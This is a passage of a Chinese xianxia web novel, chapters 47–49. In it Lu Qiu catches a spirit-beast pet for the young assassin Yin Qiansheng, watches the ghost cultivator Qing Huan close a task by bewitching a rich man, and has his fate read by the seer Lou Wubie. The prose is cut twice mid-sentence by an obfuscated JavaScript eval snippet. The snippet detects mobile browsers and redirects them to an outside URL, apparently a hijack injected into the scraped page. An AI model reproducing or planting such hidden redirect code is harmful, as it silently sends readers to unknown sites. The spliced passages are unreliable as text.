尹浅笙看着陆秋的双眼,紧张地几乎忘记了呼吸,成年人都无法拒绝的诱惑在他这样的孩子面前更是如同甘甜的糖果,告诉他甜蜜与引诱他吃下。这时他又犹豫起来,毕竟教主只教了他求有仇报仇有恩报恩,但陆秋就这么突然出现在了他面前,问他想要的是什么。 “你需要我做什么?”他听到自己这么问。 陆秋知道他是心里不安,担心会有更昂贵的代价,但他也想到了个极好的交换条件,他将头上的梳取下交给尹浅笙:“既然你会改暗器,你就把这个给我改一下当做我陪你捉灵兽的报酬吧。” 尹浅笙接过发梳,用手帕包的严严实实放回芥子空间,这才回答陆秋:“我想要比较稳重些的灵兽,别把我做的那些东西给碰坏了就成。” “这个嘛……”陆秋想了又想,印象里也没有什么灵兽能不乱动,除非那种很胆小的。他看向尹浅笙,只觉得一种孤独感围绕在他身边久久不能散去,心道:这就是给自己找个伴吧,平时出任务什么的估计也是自己一个人,想找点活的生物倾诉一下。 虽然他现在也没有什么头绪,但还是答应下来:“放心好了,能找到的。” “谢谢。”尹浅笙眼睛亮亮的,仿佛已经看到想要的灵兽在面前了。 自己答应总该做到的。陆秋有些不知所措了,但不能表现出来,只好用宽大的袖子遮住抽搐的嘴角。 两人也不能在餐馆单间坐着了,但要是回去也不太可能,房间都被打烂了,客栈更是没人能处理。想着清环今天不回来,他去另一间房貌似也没问题,陆秋便又带着尹浅笙回到客 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“不管怎么说,毕竟从兽宗跑出来的,就算是里面的残次品也比我们在野外捉的好很多。”尹浅笙继续解释:“这次他们没说细节,不过应该是有什么重要灵兽跑了出来,才会让他们不惜杀人也要得到。” 陆秋也理解,虽说压力大了一点,但他们要求又不高,给尹浅笙找个伴就足够,这事不用放心上。想到这里,他食指点了一下尹浅笙的头,笑道:“人不犯我,我不犯人,人若犯我,我必诛之。” 尹浅笙愣住了,不知为何耳尖又浮上了红晕,像是为了掩盖,他又将话题转移回去:“我们也不能回客栈,里面太危险了。” 陆秋实打实的疑惑了,这小孩怎么又害羞起来,难不成是因为刚刚和自己动手觉得不好意思?但是不用读心又不知道他在想什么,那就这样理解吧。既然回不去,不如直接去林中,现在时间还是比较早的,也许还能抢到合心意的灵兽。 “那个客栈掌柜应该是假扮的,现在他离开也有一段时间了,只怕是已经在林中布下了陷阱。”尹浅笙觉得太危险,还有些踟蹰。 “无论早晚他们都会布置陷阱,但灵兽可是会逐渐减少的,你现在去不去?”陆秋觉得他的警惕性可以,但没必要考虑那么多。 尹浅笙听后同意了,而且白天比晚上安全些,两人稍作商议,就顺着小路赶到镇子口,陆秋给二人套上一个简单的保护罩后便分头进入了树林。 “等等。”陆秋拉住尹浅笙的手腕,给他系上根红线:“你可以通过这根线找到我。”随后线逐渐变得透明,只有他手腕上有一圈红色。 尹浅笙点头,轻轻一跃就消失在了林中。陆秋把纱裙掀起在身前打了个结,又觉得这种裤子太容易被低矮的灌木挂住,找了绳子把宽大的裤腿绑在小腿上才进去找灵兽。 林子里是有路的,但他也不敢去走,每次在一处站定都要向四处用灵力打一通,把陷阱打出来再走。 灵兽确实不少,但他遇到的几乎都是已经被抓到的,其中不少是直接被打掉了脑袋。那群人应该是想拿灵兽去炼丹,所以并不在意它们死活,只需拿到就够。 全是死的。陆秋心情越来越沉重,死了的都是些较弱的灵兽,活着的绝对就是他们主要目标,不清楚布置陷阱的人的能力是多少,而他这样贸然前行无疑是去送死。 他不担心尹浅笙,因为刺客的隐蔽能力比他高得多,但这种情况无论对谁都太危险,还是先和对方汇合再前行更好。他顺着线找过去,余光突然闪过一抹白,看着是个兔子似的灵兽,不过总算是个活的,他放下要找尹浅笙的心思紧紧跟了上去。 要说赤手抓兔子那是绝对不可能的,更何况这还是有了灵智的。陆秋只好掐着火决朝着那灵兽打去,淡红的球像是薄膜,能直接包裹着猎物形成罩子,困住它们。可是这灵兽左拐右拐,脑后像是长了眼似的每次都能完美躲开。 47. 任务(3) 灵力再多也不能这么浪费,陆秋开始减少打出的火决数量,直到追的都有些恼火了,他在那东西猛地蹦起的瞬间打到了。这一刻本该是开心的,但这时一只手透过罩子拽着灵兽的耳朵把它拎了起来。 陆秋心里咯噔一声,他看向那人,那人淡粉的眼睛也在注视着他。陆秋想起来了,这一身白再加白发粉眸,他只见过一人,正是前不久滨水宗试炼的弟子。但不知对方是敌是友,他也只能谨慎的问道:“滨水宗也来捉灵兽吗?” 那人提着灵兽耳朵看了一圈,没有表情的脸上不知怎么就看出来了嫌弃:“这东西只会跑,没用。” “只是捉来当宠物的。”陆秋生怕对方一个“随手”把他费了好大劲追的灵兽给宰了。 那人也不在意,把灵兽带着罩子直接扔给陆秋,问道:“为何非要来这里捉?” “路过知道这里有,就来了。” 对方打量了一下陆秋此时乱糟糟的头发与衣服,才相信对方真是临时决定来的。她不再追究,只是用很平常的语调,像在说家常那样对陆秋说:“你让我跟丢了猎物,若不是夜千,你也和它们一样。” 陆秋下意识曲了曲食指,抱着那只已经乖乖窝在他怀里的灵兽,只觉得脊背发冷。 “愣着做甚,离开这里。”对方阴着脸下了逐客令,恐惧在他心中貌似凝成了实体,揪着他的衣领要逃离这里。 他确实也这么做了,转头拨腿就跑,顺着来的路一口气跑出林子,生怕只要一停顿就会被抓住。他到了镇口仍心有余悸,喘着粗气缓缓蹲下,最后不顾形象坐在了地上。但尹浅笙还在林中,不知会不会被那群人逮到,但他联系不上尹浅笙,只能祈祷他能察觉到陆秋跑了出来然后跟着出来。 那灵兽貌似以为陆秋要当它的主人,用两只前爪按在他的胸口,鼻头不断耸动。 陆秋给他顺毛,除了脏一点,剩下看着还是挺漂亮的。 手感还不错。陆秋控制不住自己的手,又多摸了两把。 “你会说话吗?”陆秋期待的问它。 灵兽两颗黑豆般的眼睛望着他,看起来呆呆的,陆秋心道自己真是傻了,得多聪明的灵兽才能这么小就说话。他把腿上的绳子收起来,又轻轻捶腿,让紧绷的肌肉放松一下。那灵兽像是要展示自己的用处,跳到陆秋腿边用后腿支撑着身体,用两只前爪主动给他捶腿。 “还挺善解人意。”陆秋心里终于放松许多,现在倒是有些疲惫了。他又让灵兽跳上来当个手炉抱着,时刻观察红线的方向,发现不再乱动时,他就知道尹浅笙应该是要出林子了。 太阳有半个消失在地平线时,尹浅笙终于两手空空的出来了,他看到陆秋坐在那里等他,脸上浮现出了懊恼。陆秋按住灵兽像探出的头,笑眯眯的问道:“有捉到吗?” “没有。”尹浅笙摇头:“都是死的。” 陆秋拍拍身边的地让他挨着坐下休息,尹浅笙也没有拒绝,一屁股坐下,看着都有种可怜的感觉。 陆秋从层层叠叠的衣物下双手抱着灵兽举到尹浅笙面前,笑着看他瞪大的双眼,问道:“你要不要?” 尹浅笙小心翼翼的将灵兽抱过去,那灵兽也乖,由着他抱。看着他那种欣喜又紧张的模样,陆秋突然觉得累一点也没有关系了。 “真的是给我的吗?”尹浅笙抱着灵兽,又看向陆秋,像是不敢相信陆秋真能给他捉一只来。 “给你的,但你可得把我的发梳给改好了,知道吗?”陆秋撑着下巴,笑着回答他。 “我一定会的!”尹浅笙激动的又把那灵兽抱得更紧,在陆秋提醒下才和这灵兽结了契。那灵兽左看右看,在尹浅笙举着的右手手掌处,像是击掌那样用前爪一拍,留下了粉红的爪印作为契约印。 陆秋看着他们互动,只觉得可爱,然后摸上颈侧心里埋怨怎么柳容柯就不能换个这样可爱的印子。 尹浅笙看了手掌半天,又给陆秋看,问他:“这是兔子该有的爪子吗?” 陆秋看了眼没觉得有问题,但再看却发现是个猫爪印,也懵了。 两人看向灵兽,陆秋拉着它的前爪一看,的确是猫爪,最后也只能得出这是杂交繁衍出来的灵兽,不过也没有多大的事,当兔子养就是。 “你试试能不能把它收起来。”陆秋催他。 尹浅笙手指摸上掌心的爪印,只觉得掌心一热,灵兽就化为一股灵力顺着印记钻入他掌心,连带着整个手掌都在发热。他再尝试着用神识让它出来,又是一股灵力,那灵兽便重新回到了他腿上。 “你给它取个名字吧。”尹浅笙双手举起灵兽,语气中还带着抑制不住的兴奋。 “我想不出什么好名字啊。”陆秋在脑海中搜寻一遍,实在找不到什么优雅的词句来作名。 “反正是宠物,随便取就行。”尹浅笙把那灵兽往上抱了一下,不让它滑下去。那灵兽也望着他,完全没有刚刚那种灵活劲。 陆秋脑中灵光一闪,脱口而出:“叫跑跑吧,它挺能跑的。” 跑跑听后两只前爪用搓着脸,没有表现出不满意,那就是认可了。 秋季晚上明显能感受到冷了,现在又起了风,直到陆秋手脚冰凉才慢悠悠回到客栈。有没有人已经无所谓了,设置个结界就足够,但劳累了一天总不能不休息的。陆秋看得出来尹浅笙喜爱跑跑,明明可以直接收回体内,却硬要抱着走了一路。 客栈门口的尸体已经被认领走了,可在里面暂住的修士依旧不少,二人一进门就被好几双眼睛盯着,但看到尹浅笙抱着只兔子就不再关注他们,有人甚至发出了几声嘲笑。 跑跑貌似也知道他们笑的原因,把头紧紧埋到尹浅笙的臂弯处就不动弹了,陆秋有点担心的用余光瞄到尹浅笙,但尹浅笙面色如常,还给跑跑顺毛,完全没有在意。 他们去了陆秋定下的另一间房,万幸这里没有别人,他们才能放松休息。陆秋看着自己脏得已经不能穿的衣服心里发愁,自己以前偷懒没学清洁咒,现在又要换衣服又要洗澡,不过出乎他意料的是这客栈后院竟然有温泉。 浮海城最大特点就是温泉,但余月那边就只能是用浴桶,陆秋虽然在这里已经居住了大半年,可还是不太习惯这里的生活,见到有温泉还是会惊讶。 但他可不敢泡这个温泉,都到这种地步了,谁知道里面有没有被投毒呢。最后陆秋只好收回目光,传音询问清环能不能回落霞宗一趟,等沐浴完明天再来找他。清环回答可以,他随时可以回去,就是别走错路走到不该去的地方。 尹浅笙也脏兮兮的,可陆秋再怎么样也不能带一个外宗弟子回落霞宗,但尹浅笙貌似看出他的纠结,主动说道:“我来这里就是为了捉灵兽的,现在捉完了,我也要回教会了,你要改的东西我会托人给你的。” “你的教会据点离这里远吗?”陆秋担心他带着跑跑在路上再遇到心怀不轨的人。 “我们在镇口也有传送阵的。”尹浅笙怕他不信,还透过窗户给他指了个大致方向。 陆秋不再坚持,而是拿出通讯令牌对他晃了晃:“留个联系吧,今天就当作是我们的秘密,发梳你悄悄送给我就好。” 尹浅笙点头,拿出一个铁制令牌和陆秋交换了联系,听了陆秋的建议后把跑跑收回体内,等回去了再放出来。 一回到落霞宗,陆秋就迫不及待的往澡堂跑,还是避开了其他人的跑,毕竟他也不想让别人看见自己这幅模样。 衣服几乎是被甩出去的,淋浴是快速的,人是跳到温泉里的,直到泡到头脑都晕乎乎的时候他才慢吞吞出了池子, 泡澡是真的舒服,躺在床上也是真舒服,他又在心底赞美落霞宗的待遇,连床都是一层床垫加上三层软褥,躺上去都不想起来,若不是第二天还有任务,他能在床上躺一整天。 但落霞宗的钟貌似并不想让他就这么躺着,天刚蒙蒙亮的时候钟楼就有值班弟子开始狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395965|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敲,钟声一下下直往脑袋里钻,再不愿意都要起床,把房间收拾好。 陆秋突然理解为什么褚浣起床气会这么大了,被这样吵醒他也有脾气,像是发泄似的,他手脚并用爬下床用力将被子铺整齐,结果看到一盆脏衣服时想起来昨天只顾着收拾自己,忘记洗衣服了。再怎么着急都不能让衣服自动变干,他担心被长老发现他房间有脏衣服的存在,没有一丝犹豫,将衣服带盆都移到了芥子空间中。 这套衣服不能穿了,他又换了一套稍微便利的衣服。这次上衣是鹅黄色单襦外加半袖纱衣,下身则是一条纯白丝绸质感的圆褶裙,头发不想扎,就选了个单螺配着金簪随便弄弄。陆秋围着房间走了两圈,看起来没有一丝脏乱便放心的出门,现在闲下来,他倒是担心起清环的贞洁安全了。 当他到了李府中,只听昨天的偏院传来了嬉笑声,过去一看才发现清环戴了满臂的金银珠宝,头上发饰多的甚至看不见头发。李老爷已经跪在了清环面前,双手捧着匣子举到他面前,双目红肿,眼中布满了血丝,直直盯着清环,口中止不住的念叨“拿去”。 清环还是坐在昨天的椅子上,像是一直都没有移动过,但一天都过去了,只是首饰往自己身上戴也会撑不住的,可他不仅看不出半分疲累,反而更加神采奕奕。见陆秋来了,他招手让他过来,招手时手臂晃动连带着上面镯子和链子哗啦作响。陆秋不知为何从心底恐惧清环的这幅模样,他像是被控制了那样一步步朝着清环走去,任由对方拉过自己的手腕查看。 “怎么换镯子了?”清环有些疑惑。 陆秋没有回答,清环露出若有所思的表情,笑问:“你勾搭上哪家的小公子了?” “没,他把那条手链……”他想不到什么说辞,只好跳过:“这是赔给我的。” 清环放开他,指了指桌上剩下的东西:“你看看有什么比较喜欢的就拿,过这村可没这店了。” 陆秋大概扫了一眼,觉得这些珠光宝气都还不如自己的这个银玉龙,便摇头拒绝了。 清环这时起身伸了个懒腰,关节发出咔咔的声音:“累死我了,我们回去休息吧。” “可是任务……”陆秋迟疑的看向还在痴傻状态的李老爷,不知道清环要怎么处置他。谁知清环就这样带着他顺利走出了李府,无论是下人还是妻妾,都没人注意他们,一身叮叮当当的清环明明那么惹眼,却被当成空气那样被无视了。 陆秋心里紧张的要命,生怕有人过来质问清环这些东西是怎么回事,李老爷又怎么成了那样,可一切都顺利的过了头,直到两人踏出李府,清环才打了个响指,让李府的门自己缓缓关上,将里外隔绝开来。 他现在真的不能忽视清环是鬼修的事情了,无论对方是多么美丽,机灵,活泼,但本质还是诡异与可怖的。 “那老爷会怎么样?”陆秋回去的路上还是担忧的问清环这事。 “他还能怎么样嘛,反正一开始就被我迷惑了,什么都不会记得的。” “你怎么迷惑的?” “你会学到的。”清环不给他说,故意吊着他。 陆秋虽然真的很想回去看看究竟会发生什么,但任务已经完成,他也只好跟着清环回去,这时他想起那个被放在锦囊中的鬼,又问:“那鬼去哪儿了?” “放去投胎了。” “鬼还能投胎吗?”他感觉这又超出了自己的理解范围,鬼按理来说不超度是无法拥有投胎资格的,但清环从昨天就在房间坐着,也没有能超度鬼的人来啊。 清环从储物戒掏出张符来给陆秋:“看看,认不认识。” 陆秋看得再仔细也说不上来是什么符,毕竟他又不是符修,就诚实的摇摇头说不认识。清环收起符,说这是他认识的一位玉凰宗的道士画的符,能小小的替代一下超度作用,随身带几张还是挺有用的。 陆秋不知怎么想的,半晌才问清环:“你也是鬼,你不会被超度吧?” 48. 占卜 清环听到后也一时不知说什么,他都想撬开陆秋的脑袋看看里面都是什么奇怪想法,但笑归笑,他还是回答了:“我是鬼修,又不是鬼,而且我也有自己的思想,不是只剩下了执念,不会被超度的。” 陆秋终于放心了,他心里还有些遗憾,刚来到就又要回去,早知就不来了,还能多睡一会儿觉。 他又问道:“今天回去还接任务吗?” “看看吧,每天都有任务的,你要是感兴趣就去挑吧。” “我自己去吗?”陆秋有些激动。 “我要是喜欢也会接,不喜欢的话——”清环转着一根簪子,提醒他:“最好自己接任务。” “怕报酬分配问题吗?”陆秋小声问他。 “不止,反正你以后都会遇到,多吃几次亏就明白了。”清环甩甩手:“哎呀,你要是真想听就多去找人聊聊天,总有些八卦的能把事抖给你。”他又看向陆秋的手:“昨天干嘛去了?” 陆秋这才注意自己的指甲已经有了多处裂痕,甚至小指指甲还缺了一块。他尴尬的背过手去,试图把自己的谎圆上:“就是昨天遇到打架的,就……” “指甲裂了,手串坏了,然后人家为了给你赔罪就给了个手镯?”清环细眉紧紧皱起:“就给这点当赔罪?” “我当时想着息事宁人……”陆秋拒绝透露尹浅笙的事情。 “好,好一个息事宁人。”清环发出不屑的嗤笑声:“有时候可不能就这么过去了明白吗?像你这个,多少得再赔个金链子吧。” 陆秋不太敢给他说其实自己还请人家吃了顿饭,一顿赶得上好几顿的那种,只能用干笑应对清环的数落。 但清环也只怪他自己不计较吃亏的事,觉得陆秋在外受了委屈也不会讨回来,感到他懦弱的让人愤怒罢了。 清环身上一丝灰尘都没有,但回到落霞宗还是嚷嚷着说自己衣服脏了,要沐浴,甚至还捏袖子给陆秋闻上面是不是有股子怪味。陆秋只嗅到了清环使用的熏香味,但还是点点头说染上了说不出来的味道。 趁着清环去沐浴,陆秋又溜去了令火堂看看有什么感兴趣的任务。以前在家族中是和别的亲戚一起出去,而剩下时间是秋络和陆夕月带他出去,这次是他第一次需要自己完成任务,说不期待那是不可能的。 这次令火堂中的值班弟子换成了另一位身材微胖的师姐,因为大多数人现在不是出任务就是在忙自己的事情,所以陆秋来的时候刚好看见师姐毫无形象管理的打了个哈欠。 师姐嘴还没合上,看见他进来时愣了一下,随后开始看天花板,看了两眼又看地板,地板也没什么东西就看桌子,反正目光就是不往陆秋那边去。陆秋本来觉得不好笑的,不就是没注意形象嘛,但这时师姐的心声又不合时宜的响起:“这桌子可真桌子。” 陆秋没忍住笑了,那师姐也装不了了,单手撑着桌子灵活跳出来说道:“停停停,不许往外说!” 她双眼瞪着陆秋,虽然气势很足,但脸颊气鼓鼓的看着也没什么威慑力。陆秋憋住笑严肃的点头,保证自己不说出去。 师姐“哼”了一声,指向另一面挂满了牌子的墙:“你这段时间还能挑,等到十月新弟子来到落霞宗,你能抢到就不错了。” 陆秋听清环说过了,有些奇怪的问:“为什么一定要新弟子来呢,落霞宗的老弟子不是也有好多抢任务的吗?” “当然不是。”师姐摇头:“只要在落霞宗呆的时间超过三年就可以出师了,每年都有好多弟子参与出师试炼,一次几乎能走一半呢。” “这么多吗?”陆秋惊讶这个离开的数量。 “对啊,人要是走的不多,这里的条件怎么能这么好呢。”师姐拨弄着头发,俏皮的眨眨眼:“一百万分给十个人,和分给一百个人可是完全不一样的。” 陆秋一想确实是这样,但这个师姐看起来是十分想聊天的,他便主动接过话来,问:“我也是刚来落霞宗,有什么任务能做吗?” “你修为怎么样?”师姐掰手指头数着:“灵动期的建议是去做点杂活,比如采草药,找灵兽;开灵期可以适当接一些猎杀的任务;之后……” “师姐,我是仙修。”陆秋不好意思的打断师姐的话,看着师姐把手指又收了回去,更不好意思了。 “你仙修到什么境界了?”师姐重新掰手指。 “金丹。”陆秋老实回答。 “嗯……”师姐挠头:“仙修的话我也不太了解,不过我记得金丹期和鬼修的魂丹期是一样的吧?” “好像是一样的?”陆秋也不太确定,毕竟每种修炼层次都无法比较。 “那就这样算吧。”师姐拍手:“你打架怎么样?” “还行,只要不是正面硬打应该都能打得过。” “你要是想通过战斗获得报酬,就多看看西边的任务,那里大多是要抓一些小东西的。” “可是我看还有人头悬赏啊。”陆秋指了指其中一个任务。 “那根牌线是白的,意思是向这里所有宗门发布的悬赏,你接的同时有可能别人也接了,但你是不知道有没有别人接的,容易惹麻烦。”师姐又补了一句:“这东西我们说过好多次宗门也不改。” 陆秋这才发现那些小任务是红线,意思是只有本门派可接,他挑了一圈,师姐也说了一圈,可最终还是没选出来任务。师姐也不催他,反而安慰道:“没关系,不要那么着急接任务,先打好基础才是重要的。” 陆秋想着今天就算了,以后想接任务了再来看看,现在不到中午,还可以去找江舟把指甲修一修。他看着在这里无聊的都要把桌子盯出个洞来的师姐,突然觉得这个值班对于闲不住的人来说真是一种折磨。 江舟还是坐在相同的位置,见陆秋来了,便开玩笑:“来找我学做指甲了?” 陆秋也接了他的玩笑话:“对,但是要交学费我就不学了。” 江舟看到陆秋的指甲的那一刻还是想了很多,但怎么想都想不到陆秋到底做了什么,竟在两天时间内能磨损的这么严重。 陆秋听到他的疑惑,又随口撒了个谎:“去抓了个兔子,就弄成这样了。” “哪儿的兔子这么猛,能搞成这样?”江舟嘴上叨叨,但是动作迅速,几下把原先上的一遍色给磨掉,看着本甲确实不能再直接涂色,便又贴了一层甲,在上面进行绘制。 “你是和清哥一起去出的任务?”江舟总感觉不说话就干不了活,所以在尽力找话题聊。 “你怎么知道?”陆秋想着他俩都没往外说,难不成是尹浅笙说的? “只要是额外来的新人都是清哥带。”江舟嘿嘿一笑:“我当年也是清哥带着出的任务。” “清环当时带你做了什么任务?” “当时我们年龄都不大,清哥带我去做的灵兽围剿任务。” “灵兽围剿?”陆秋突然怀疑这次任务清环是否一开始就是冲着灵兽去的。 “对,反正都是清哥一路打过去的,你不知道当时多精彩,清哥一点不带停的提着剑就砍,那飞出去的头啦、四肢啦都乱飞。” “你们武器不是学的长鞭和短匕吗,师姐以前还会用剑?” “清哥又不是落霞宗原生弟子,他是十一岁来的,会点剑很正常。”江舟打消了他的疑惑:“只是后来掌门说用剑太粗暴了,清哥才不用剑了。” “用剑怎么了,明明是一种武器,为何还要限制?” “觉得咱不能学呗。”江舟做了个鬼脸:“得有德,得柔弱,得时刻保持优雅与美丽。”末了,还补上一句:“做到这些,就会有人前赴后继的为你送命。” 陆秋对这里的思想感到不可思议:“那这和花瓶有什么区别?” “就是花瓶。”江舟叹气:“仿佛凤凰也就只有在龙身边作陪衬才是完美的。” 陆秋没有回答,因为他也找不出其中能反驳的地方。 “对了,最近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395966|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引星河的弟子下山了,正好会经过我们这里,你要不要一起去玩?” “玩什么?”陆秋在记忆中怎么也找不到关于“引星河”的印象。 “他们是算命的,而且都特别有趣,你去看看就知道了。”江舟极力想要拉他一同前去。 引星河是浮海城西北地区的一个大宗门,擅长解梦与占卜,只要是被收为弟子,出来都是小有名气的修士。但是门派十分低调,平时不露面就罢,但把人送进去就和死了没什么两样,所以又被戏称为“吃人宗”。 “为什么会和死了一样?”陆秋想不明白。 “都自杀了。”江舟摆摆手,凑近了低声说道:“都是脑子有病的,没病进去过不了多久也有病了。” 陆秋听他这话只觉一阵恶寒,语气不悦:“那占卜还能有准?” “当然准!”江舟瞪大双眼:“你别觉得人家有病就看不起人家,他们可比玉凰宗的那群道士占得准的多!” 陆秋这时并不信,但看着江舟实在诚恳,便答应下来。 只能说江舟的消息还算灵通,在这之后的第九天,他晨练后就被江舟急哄哄的拉去宗门外,见到一位正在买糖葫芦的青年。江舟跑得头发都乱了,在原地站定后稍微顺了口气,冲那人喊道:“楼无别!” 那青年闻声看向他们,他转过头的瞬间陆秋也被吓了一跳,那人晶蓝色的眸子如同镜面,不仅无一丝杂质,就连瞳孔都没有。 盲人?陆秋将视线移到他的手中,也未看见盲杖之类的东西,心里更奇怪了。 楼无别走到他们面前,将刚买的糖葫芦递给他们,陆秋看着糖葫芦递到他面前时还有些不确定的指了指自己:“给我的?” “我可没说今天还带你来。”江舟冲陆秋吐了下舌头。 “昨天做了梦,就知道了。”楼无别的声音就像是一块温玉,让人莫名感到亲昵。陆秋接过后向他道谢,也客套了两句,三人就一同去往楼无别提前订好的客栈中。 “好了,现在可以好好说话了。”江舟把客栈房间的窗户全都关上,蹦到陆秋身边揽住他的肩介绍:“这是楼无别,引星河的原生弟子,实力很强的哦。” 楼无别笑着对他点了点头,陆秋也点头,介绍自己:“我是陆秋,目前是落霞宗弟子。” “你这不是废话吗,你都穿着落霞宗的衣服。”江舟有些嫌弃的和他对视一眼,随后坐下就催:“你给算算嘛,我想听些小八卦。” 陆秋此时知道再不开口就得被拉着强算了,忙说:“我暂时也没什么要算的。” “来都来了。”江舟劝他:“要不空间留给你俩,我先回避?” 楼无别也无奈道:“不要来一个人你就拉着让我算,有点不礼貌的。” “哎呀,也不是非得算。”江舟挠头:“其实是有别的事的。”听到这里,陆秋也支起耳朵,想知道是什么事得拉自己来。 楼无别却还是那个样子,没有一丝惊讶,但他还是问了江舟:“什么事?” “就是……”江舟摸着下巴,斟酌着:“清哥明年能出师吗?” “明年不行。” “后年?” “不行。” “大后年?”江舟看起来像是牙疼,呲牙咧嘴的不知是真疼还是听到这个回答又感到精神上的疼。 楼无别摇摇头,击碎了江舟最后一丝希望。陆秋疑惑:“以清环的实力应该可以出师啊,都是元婴后期了,为什么不能?” “这几年他没有想着出师,而在几年后......看不真切,但命运有很多种选择。” 江舟察觉到不对:“那可以离开宗门吗?” “是从某种程度上来说是的。” “那就行。”江舟又放松下来:“清哥这十几年了一直都想离开这鬼地方,能走可太好了。”陆秋觉得这话怪怪的,他的目光在二人之间转了好几次,最终还是没能有什么收获,才收回目光,想着自己的事。 49. 银梳 陆秋这时也有些好奇了,他问楼无别:“玉凰宗的道士要借铜钱草木来占卜,你是如何占卜的,能在江舟问的瞬间就回答?” “我们的心法使我们可以直接看到未来,和你的读心是一样的。”楼无别声音不紧不慢的响起,陆秋心头一紧,他从未对外说过自己会读心术,楼无别这句话无异于平地惊雷,让他开始思考对方是真的如江舟说的那么神,还是对他有足够的了解。 他刚要用心法去读楼无别时,对方又慢悠悠的开口:“对我用读心术,会对你有反噬的。” 陆秋立刻收回去了,就在他想问楼无别怎么知道他要用读心时,楼无别的答案却比他的问题先到了:“此刻我已经在梦中经历过了十几遍。” 在他那双毫无生机的眼中映出陆秋的身影来,陆秋紧张到手心都渗出了汗,几乎是咬牙开口:“接下来我会做什么?” “会占卜。”楼无别扭头看向江舟:“回避一下可以吗?” 江舟听到后立刻跑出门去,还贴心的给关好门并贴上隔音符。陆秋看着楼无别,心里突然冒出来了问题:“我会得到想要的提升吗?” “会。”楼无别又补充道:“但是需要这几年来不断的打磨。” 听到这里,陆秋那种说不出不适感才逐渐减轻。二人就这么对坐着,沉默着,陆秋率先开口:“占卜金额是多少。” “这并不算是占卜。”楼无别打断了他想要付钱的动作:“只是口头一说,不能算是占卜,没必要付钱。” “好吧。”陆秋觉得脑袋乱糟糟的,他有无数问题想要问,但理智还是拉住了冲动,尽力沉默着。但楼无别并不给他这个机会,主动向他透露:“人际正常,桃花不少,主要是心智上的成长,但修为上不会有太大进步,不过也不是一无所获。” 陆秋都听呆了,先不说他对这个结果是否满意,反正楼无别整的这么一出直接出乎他的意料,第一次遇到这种情况,不知如何应对,最后也只干巴巴说了句:“你说这些做什么?” “不说你会问。”楼无别露出疲惫的神情:“已经好几次了。” “那也只是你……”陆秋还未说完,楼无别就已经抢答:“你的占卜而已,又怎能当真。” “抱歉。”楼无别虽然这么说,但那种不适感仍然存在,陆秋又问起他另外的事:“你既说你已经经历过现在,那我若是不按照你的经历来呢?” “你的现在是无数次命运的演练。”楼无别张开手,在桌面上轻抚,他抚过的地方冒出了沙盘那样的场景,只不过里面的是他们如今所在的房间。 陆秋看着眼熟,后知后觉在莲花仙人的幻境中他也是沙盘中的一人罢了。 “我会一次次的经历这些,无论是按照命运来走,还是打破命运。”楼无别食指动了两下,沙盘上的人开始动了起来:“我会一遍遍的重复,直至到达命运指引的节点。” 陆秋无法理解他在说什么,但这里确实也待不下去,便又问:“所以你这次的目的是什么?” “你本会问我许多问题,现在我直接全说了,你的命运节点就算完成了。” “最后一个问题。”陆秋说完这句话停了很久,直直盯着楼无别。 楼无别叹气,主动说道:“若是我擅自回答你们,命运会因被改变而对你们进行修正,让你们产生不适。” 陆秋彻底没话说了,他真的信任楼无别的能力了,他在心中所想的是“你知道可发生的一切,为何还要再问我们。” 楼无别给了他回答。 对他刚刚的话,陆秋心中还是有些不适:“清环……具体会是什么时候离开呢?” “在你离开前,他是不会离开的。” “既然我的命运节点完成了,那我可以走了吗?”陆秋只觉如坐针毡,一点都无法忍受。 “请回吧,以后若有想要占卜的事情可以通过江舟来找我。” 陆秋听到他这话笑着摇摇头:“你都这么说了,那我以后必然有事找你了。” 楼无别笑而不语,目送他离开。 陆秋一出去,蹲在门口揪花瓣的江舟抬头望着他:“你们聊的怎么样?” “你进去问问?”陆秋不回答他,随便找了个借口:“我还要去找清环,今天不能陪你了。” “好吧。”江舟起身后拍拍裙子上的灰,有些遗憾的说:“那下次咱俩再来吃饭。” 去找清环是假的,但他也没什么事情做了,所以就这么在这镇子上慢慢走着,随便瞧瞧。但不久他就察觉到身后有人在跟踪他,只是对方躲藏得实在好,他好几次观察都没有找到那人。陆秋并不着急,又走了几步后拐进小胡同,确认自己的身形已经完全隐在墙后便站在原地等着。 等着的时候他又翻出根长鞭。虽然刚进落霞宗不久,但跟着同门也学习了不少落霞宗的鞭法。这胡同较窄,用剑容易被卡住,不如长鞭灵活性高。 陆秋屏住呼吸,感受着正往这边过来的人,怕伤及无辜,他甚至用灵力去探那人的底子。 在那人进来的瞬间陆秋就一鞭子甩出,但他高估了对方的身高,本想缠住对方颈部的长鞭直冲对方天灵盖而去,那人只是微微弯腰便躲开了这一击。像是下意识的反击,他钳制住陆秋的双手,本想再补上一个肘击,但最终还是意识快于动作,胳膊就这么半举在空中,与陆秋尴尬的对视。 陆秋被制住也不恼,眼神中带着些许无奈看着少年:“我们每次见面都得先打一架吗?” 尹浅笙松开手的动作可以称得上是小心翼翼了,他像是被罚站似的后背紧贴着墙,垂着头不说话。陆秋捏捏手腕上泛红的皮肉,心想自己以后也得学点近身术,不然让人近身了就只能挨打。 “你有任务吗?”陆秋想着尹浅笙的教会又不在这里,来到这没准就是接了任务。 